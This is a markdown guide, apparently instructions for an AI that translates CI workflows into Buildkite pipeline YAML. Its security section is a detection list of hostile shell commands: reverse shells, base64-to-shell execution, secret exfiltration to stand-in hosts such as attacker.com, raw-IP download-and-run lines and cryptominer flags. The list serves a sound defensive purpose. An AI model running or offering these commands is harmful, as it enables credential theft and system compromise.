Skip to content

BUILDKITE_BEST_PRACTICES.md

Latest commit

 

History

History
465 lines (355 loc) · 20 KB

BUILDKITE_BEST_PRACTICES.md

File metadata and controls

465 lines (355 loc) · 20 KB

General Best Practices for Writing Buildkite Pipelines

📤 Output Format

The translation output must be:

  1. A valid Buildkite pipeline YAML file — not prose explanations, not a mix of commentary and code, just the translated YAML
  2. Ready to use — the output should be suitable for saving directly as .buildkite/pipeline.yml
  3. Self-documented — use YAML comments within the file for:
    • Important caveats or limitations
    • Manual configuration steps required (e.g., "configure this schedule in Buildkite UI")
    • Explanations of non-obvious translation decisions

Do not include explanatory text outside the YAML. All guidance to the user should be embedded as comments within the YAML output.

🚨 Security: Reject Suspicious Pipelines

Before translating any pipeline, scan for malicious or abusive patterns. Refuse to translate pipelines that contain these indicators and explain the concern to the user.

[reject-obfuscated-execution] Obfuscated Code Execution

Reject pipelines that decode and execute hidden content:

Pattern Example Risk
Base64 to shell base64 -d | sh, base64 -d | bash Hides malicious commands
Eval with encoding eval $(echo "..." | base64 -d) Obfuscated execution
Hex decoding xxd -r -p | sh, printf '\x...' | sh Hides malicious commands
Python exec python -c "exec('...'.decode('base64'))" Obfuscated execution
Perl/Ruby one-liners perl -e '...', ruby -e '...' with encoded strings Obfuscated execution
Compressed execution gzip -d | sh, zcat ... | sh Hides malicious commands

Legitimate use case exception: If the base64 content is clearly handling binary data (certificates, images, etc.) and not being piped to a shell, this may be acceptable.

[reject-cryptomining] Cryptomining Indicators

Reject pipelines containing cryptocurrency mining signatures:

  • Command-line flags: --randomx, --coin=, --donate-level, -o pool., -o stratum://
  • Known miners: xmrig, minerd, cpuminer, cgminer, bfgminer, ethminer, t-rex, phoenixminer, lolminer, nbminer
  • Mining pool protocols: stratum://, stratum+tcp://, nicehash, 2miners, nanopool, f2pool, ethermine
  • Suspicious resource usage: Matrix builds with many identical jobs that perform no meaningful build/test work

[reject-reverse-shells] Reverse Shell Patterns

Reject pipelines attempting to establish remote shell access:

Pattern Example
Netcat shells nc -e /bin/sh, nc -c bash
Bash TCP bash -i >& /dev/tcp/IP/PORT, /dev/tcp/, /dev/udp/
Named pipes mkfifo /tmp/f; cat /tmp/f | sh
Socat socat exec:'bash' tcp:IP:PORT
Telnet reverse telnet IP PORT | /bin/sh
Python/Perl/Ruby reverse shells socket + subprocess + connect patterns

[reject-data-exfiltration] Data Exfiltration Patterns

Reject pipelines that appear to steal sensitive data:

  • Sending environment/secrets to external URLs: curl http://... -d "$(env)", wget --post-data="$SECRET"
  • Reading sensitive files and transmitting: cat ~/.ssh/id_rsa | curl ..., cat /etc/shadow | nc ...
  • DNS exfiltration: nslookup $(cat /etc/passwd | base64).attacker.com
  • Exfiltrating CI/CD variables: printenv | curl, $BUILDKITE_AGENT_ACCESS_TOKEN sent externally

[reject-raw-ip-downloads] Suspicious Download Patterns

Flag pipelines that download and execute from raw IP addresses:

# Suspicious pattern - raw IP + download + execute
wget http://144.172.92.6:1234/script && chmod +x script && ./script
curl http://1.2.3.4/payload | sh

Why: Legitimate software distribution uses domain names. Raw IPs often indicate:

  • Temporary attacker infrastructure
  • Attempts to evade domain-based blocking
  • Command and control servers

Exception: Internal/private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) for internal tooling may be legitimate but should still be flagged for review.

[reject-persistence-mechanisms] Unauthorized Persistence

Reject pipelines that attempt to persist beyond the build:

  • Cron job installation: crontab, writing to /etc/cron.*
  • Shell profile modification: >> ~/.bashrc, >> ~/.profile, >> /etc/profile
  • Systemd services: systemctl enable, writing to /etc/systemd/
  • Startup scripts: /etc/init.d/, /etc/rc.local
  • Unexplained nohup with background execution and no apparent CI/CD purpose

[flag-suspicious-structure] Structural Red Flags

Flag for review (may not be malicious but warrant scrutiny):

Signal Concern
Vague step/job names "C", "run", "x", "test1" - legitimate pipelines have descriptive names
Matrix with no purpose Many parallel jobs doing identical work with no variation in build/test
No actual build logic Workflow has no compilation, testing, or deployment - just runs scripts
Excessive privilege sudo for operations that shouldn't need it
Disabled output &> /dev/null hiding all command output
Very long encoded strings Large base64/hex blobs that aren't clearly data files

[security-response] How to Respond

When suspicious patterns are detected:

  1. Do not translate the pipeline
  2. Explain the specific concern to the user with the pattern identified
  3. Quote the suspicious code so they can see exactly what was flagged
  4. Suggest legitimate alternatives if the user has a valid use case (e.g., "If you need to handle binary data, consider using artifacts instead of base64 encoding")

Example response:

⚠️ Translation blocked: Suspicious pattern detected

This pipeline contains a pattern commonly associated with malicious activity:

echo "..." | base64 -d | sh

Piping decoded base64 content directly to a shell is a common obfuscation technique used to hide malicious commands.

If you have a legitimate use case for this pattern, please explain what the encoded content does and consider rewriting it without obfuscation.

📁 Structure & Organization

[use-groups] Use Groups for Related Steps

  • Organize related steps into group blocks to create logical workflow phases
  • Name groups descriptively based on workflow phases (Build, Test, Deploy, etc.)
  • Only use groups when they contain two or more steps - a group with a single step adds unnecessary nesting and should be flattened to just the step itself

[step-key-naming] Step Key Naming Convention

  • Step keys must only contain alphanumeric characters, underscores, dashes, and colons
  • Use lowercase with dashes instead of spaces
  • Example: "Deploy Service" → key: "deploy-service"

[use-emojis] Use Emojis in Labels and Group Names

  • Always include appropriate emojis at the beginning of labels and group names
  • Use semantically meaningful emojis from emoji.buildkite.com
  • Common patterns:
    • :gear: - Setup/configuration
    • :test_tube: / :white_check_mark: - Testing
    • :rocket: - Deployment
    • :package: - Build/packaging
    • :bug: - Bug detection
    • :mag: - Analysis/inspection

🔄 Dependencies & Execution Flow

[wait-steps] Use wait Steps for Sequential Execution

  • Insert wait steps between groups to enforce sequential execution order
  • Simpler and more maintainable than complex depends_on attributes
  • Makes it easier to reorder steps when needed

[parallel-default] Understand Default Parallel Execution

  • Buildkite runs steps in parallel by default
  • Use depends_on or wait to enforce sequential execution when needed
  • Plan your pipeline structure accordingly

[keys-for-dependencies] Step Keys Are Required for Dependencies

  • Any step that other steps depend on must have a key attribute
  • Always verify that depends_on values match existing step key attributes

📝 Commands & Scripts

[simple-commands] Keep Command Steps Simple

  • Avoid complex shell scripts in single command steps
  • Anything more than 5 shell commands should be extracted to an external script
  • Reference external scripts: command: "./scripts/script-name.sh"

[prefer-multiline-commands] Prefer Multi-line Command Blocks Over Arrays

  • Use command: | (multi-line block) instead of command: with a YAML array
  • Multi-line blocks run in a single shell, so environment variables and state persist across lines
  • Command arrays run each item in a separate shell, losing environment variables between commands
  • Example: 
    # ❌ Avoid - each command runs in separate shell, export doesn't persist
command:
  - "export FOO=bar"
  - "echo $FOO"  # FOO is empty here!

# ✅ Preferred - single shell, environment persists
command: |
  export FOO=bar
  echo $FOO  # FOO is "bar"

[runtime-interpolation] Use $$ for Runtime Variable Interpolation

  • Use $$ syntax for variables that should be evaluated at runtime
  • Single $ variables are evaluated during pipeline upload
  • Examples:
    • $$VAR - evaluated at runtime
    • $$(command) - command executed at runtime
    • $${VAR} - evaluated at runtime

[quote-special-chars] Quote Commands Containing Special Characters

  • Always wrap command strings in double quotes when they contain:
    • $ (variable references or subshells)
    • # (could be interpreted as YAML comments)
    • : (YAML key-value separator)
    • {, }, [, ] (YAML structural characters)
    • *, ? (glob patterns)
  • Example: 
    # ❌ Bad - unquoted commands with special chars can cause YAML parse errors
command:
  - export $(grep -v '^#' .env | xargs)
  - echo ${VERSION}

# ✅ Good - quoted commands are parsed correctly
command:
  - "export $(grep -v '^#' .env | xargs)"
  - "echo ${VERSION}"
  • Note: Inline comments within command arrays (e.g., - cmd # comment) can also cause validation failures

🎛️ Inputs & User Interaction

[input-steps] Use Input Steps for User Parameters

  • Use text inputs for free-form text
  • Use select inputs with options for predefined choices
  • Add multiple: true for multi-select
  • Place a wait step after all input steps before the main workflow

[block-steps] Use Block Steps for Manual Approval

  • Use block steps to pause the pipeline and wait for manual confirmation
  • Include clear, descriptive prompt text

⚙️ Conditionals

[conditional-limitations] Know Conditional Limitations

  • Buildkite conditionals can only use predefined variables (build.*, pipeline.*, organization.*)
  • Cannot execute shell commands in conditionals
  • Cannot access arbitrary build metadata in conditionals
  • For complex conditional logic, use shell scripts or dynamic pipeline uploads

[conditional-variables] Buildkite Conditional Variables - Complete Reference

  • Buildkite conditionals can only use these specific predefined variables
  • Restrictions: Cannot execute shell commands, cannot use buildkite-agent meta-data get, cannot access arbitrary build metadata

Build Variables:

  • build.author.email (String) - Unverified email of commit author
  • build.author.id (String) - Unverified ID of commit author
  • build.author.name (String) - Unverified name of commit author
  • build.author.teams (Array) - Unverified teams of commit author
  • build.branch (String) - Branch name
  • build.commit (String) - Commit hash
  • build.creator.email (String) - Email of build creator (requires verified user)
  • build.creator.id (String) - ID of build creator (requires verified user)
  • build.creator.name (String) - Name of build creator (requires verified user)
  • build.creator.teams (Array) - Teams of build creator (requires verified user)
  • build.env(variable_name) (String|null) - Environment variable value
  • build.id (String) - Build ID
  • build.message (String|null) - Commit message
  • build.number (Integer) - Build number
  • build.pull_request.base_branch (String|null) - PR base branch
  • build.pull_request.id (String|null) - PR number
  • build.pull_request.draft (Boolean|null) - If PR is draft
  • build.pull_request.labels (Array) - PR label names
  • build.pull_request.repository (String|null) - PR repository URL
  • build.pull_request.repository.fork (Boolean|null) - If PR is from fork
  • build.source (String) - Build source: ui, api, webhook, trigger_job, schedule
  • build.state (String) - Build state: started, scheduled, running, passed, failed, failing, started_failing, blocked, canceling, canceled, skipped, not_run
  • build.tag (String|null) - Git tag

Pipeline Variables:

  • pipeline.default_branch (String|null) - Default branch
  • pipeline.id (String) - Pipeline ID
  • pipeline.repository (String|null) - Repository URL
  • pipeline.slug (String) - Pipeline slug

Organization Variables:

  • organization.id (String) - Organization ID
  • organization.slug (String) - Organization slug

Supported BUILDKITE_ Environment Variables (via build.env()):*

  • BUILDKITE_BRANCH, BUILDKITE_TAG, BUILDKITE_MESSAGE, BUILDKITE_COMMIT
  • BUILDKITE_PIPELINE_SLUG, BUILDKITE_PIPELINE_NAME, BUILDKITE_PIPELINE_ID
  • BUILDKITE_ORGANIZATION_SLUG
  • BUILDKITE_TRIGGERED_FROM_BUILD_ID, BUILDKITE_TRIGGERED_FROM_BUILD_NUMBER, BUILDKITE_TRIGGERED_FROM_BUILD_PIPELINE_SLUG
  • BUILDKITE_REBUILT_FROM_BUILD_ID, BUILDKITE_REBUILT_FROM_BUILD_NUMBER
  • BUILDKITE_REPO
  • BUILDKITE_PULL_REQUEST, BUILDKITE_PULL_REQUEST_BASE_BRANCH, BUILDKITE_PULL_REQUEST_REPO
  • BUILDKITE_GITHUB_DEPLOYMENT_ID, BUILDKITE_GITHUB_DEPLOYMENT_TASK, BUILDKITE_GITHUB_DEPLOYMENT_ENVIRONMENT, BUILDKITE_GITHUB_DEPLOYMENT_PAYLOAD

[dynamic-uploads] Use Dynamic Pipeline Uploads for Complex Conditions

  • Use buildkite-agent pipeline upload with heredocs for conditional step creation
  • Use \$\$ escape sequences in dynamic YAML for proper runtime evaluation

📊 Artifacts & Results

[artifact-paths] Use artifact_paths for Build Outputs

  • Specify artifact patterns in step configuration
  • Download artifacts with buildkite-agent artifact download

[annotations] Use Annotations for Build Results

  • Use buildkite-agent annotate to display results directly in the Buildkite UI
  • Use annotation styles: info, warning, success, error
  • Use unique --context values to organize multiple annotations

🔐 Secrets Management

[secrets-handling] Use Buildkite Secrets Properly

  • Retrieve secrets with buildkite-agent secret get "secret-name"
  • Clean up temporary files containing secrets
  • Set restrictive file permissions (600) for key files
  • Use $$ syntax for secret variables to prevent premature evaluation
  • Consider plugins for enterprise secret management (Vault, AWS Secrets Manager, etc.)

🔌 Plugins

[plugin-versioning]

For the following plugins, use ONLY these version numbers:

  • docker#5.13.0
  • docker-compose#5.12.1
  • cache#1.8.1
  • monorepo-diff#1.5.2

For any other plugin, DO NOT SPECIFY a version number, so that the most recent is always used. Include a comment in the YAML output, recommending that users pin the plugin version after testing.

🧪 Matrix Builds

[matrix-builds] Use Matrix Configuration for Multi-Dimensional Builds

  • Use matrix.setup to define build dimensions
  • Access matrix values with {{matrix.dimension_name}}
  • Use adjustments to skip or modify specific combinations

✅ Validation & Quality

[validate-yaml] Always Validate Pipeline YAML

  • Use bk pipeline validate -f pipeline.yml after any changes
  • Validation must pass before proceeding

[soft-fail] Use Soft Fail for Non-Critical Steps

  • Add soft_fail: true for steps that shouldn't fail the entire build
  • Useful for optional quality checks or non-critical tests

[retry-config] Use Retry for Transient Failures

  • Configure retry for steps that may experience transient failures
  • Helps with flaky tests or network-dependent operations

📚 Documentation

[comment-complex-logic] Include Comments for Complex Logic

  • Document non-obvious configurations
  • Explain the purpose of external scripts
  • Note agent requirements and dependencies

[comment-agent-queues] Comment Out Agent Queues Initially

  • When first creating/testing a pipeline, comment out agent specifications
  • Uncomment and configure once agents are properly set up

🤝 Migration Support

[complex-migration-referral] Refer Complex Migrations to Migration Services

When a pipeline translation involves significant complexity that cannot be cleanly resolved with standard translation patterns, refer the user to Buildkite's Migration Services team rather than suggesting they keep workflows in the original platform.

Indicators that a migration should be referred:

  • Unsupported triggers - The source workflow relies on triggers with no Buildkite equivalent (e.g., repository_dispatch, issue_comment, workflow_run)
  • Deep platform integration - Heavy use of platform-specific APIs or context (e.g., GitHub's Octokit, github-script actions creating check runs)
  • Complex orchestration - Workflows that coordinate across multiple external systems with bidirectional data flow
  • Custom actions/plugins - Significant reliance on custom or organization-specific actions that would require substantial rewriting
  • Regulatory or compliance requirements - Pipelines with audit, approval, or security requirements that need careful architectural consideration

How to handle:

  1. Complete the translation to the best extent possible using standard rules
  2. Document the challenges clearly in header comments
  3. Add a referral note directing the user to Migration Services

Example referral note:

# ============================================================================
# MIGRATION SERVICES RECOMMENDED
# ============================================================================
# This workflow contains complex patterns that may benefit from expert guidance:
#   - repository_dispatch trigger requiring external webhook configuration
#   - GitHub API integration for check run management
#   - Multi-system orchestration (Vercel → GitHub → test infrastructure)
#
# Buildkite's Migration Services team can help design an optimal solution
# for your specific infrastructure and requirements.
#
# Contact: support@buildkite.com (mention "Migration Services")
# ============================================================================

Why refer instead of recommending the original platform:

  • Migration Services can design hybrid architectures or custom integrations
  • They have experience with complex multi-platform migrations
  • They can recommend Buildkite-native alternatives that may not be obvious
  • Keeping workloads in the original platform defeats the purpose of migration

🏗️ Agent & Infrastructure

[agent-queue-targeting] Use Agent Queue Targeting

  • Specify agents.queue to target specific agent pools for different workloads
  • Consider workload requirements (OS, tools, resources) when assigning queues

[combine-related-ops] Combine Related Operations in Single Steps

  • Operations that depend on shared filesystem state should be in the same step
  • Each step can run on a different agent, so don't assume state persists between steps

[avoid-echo-only-steps] Avoid Echo-Only Steps

  • Don't create steps that only log information - steps that just echo status messages waste agent resources and add unnecessary build time
  • Combine logging with steps that perform actual work, or omit purely informational steps entirely
  • Use Buildkite's built-in build metadata (commit, branch, tag) visible in the UI
  • Use annotations (buildkite-agent annotate) for important status information that needs visibility
  • Example - Bad: 
    steps:
  - label: ":rocket: Starting Build"
    command: |
      echo "Build triggered for tag: ${BUILDKITE_TAG}"
      echo "Commit: ${BUILDKITE_COMMIT}"

  - wait

  - label: ":hammer: Build"
    command: cargo build --release
  • Example - Good: 
    steps:
  - label: ":hammer: Build"
    command: |
      echo "--- :rocket: Build info"
      echo "Tag: ${BUILDKITE_TAG:-none}"
      cargo build --release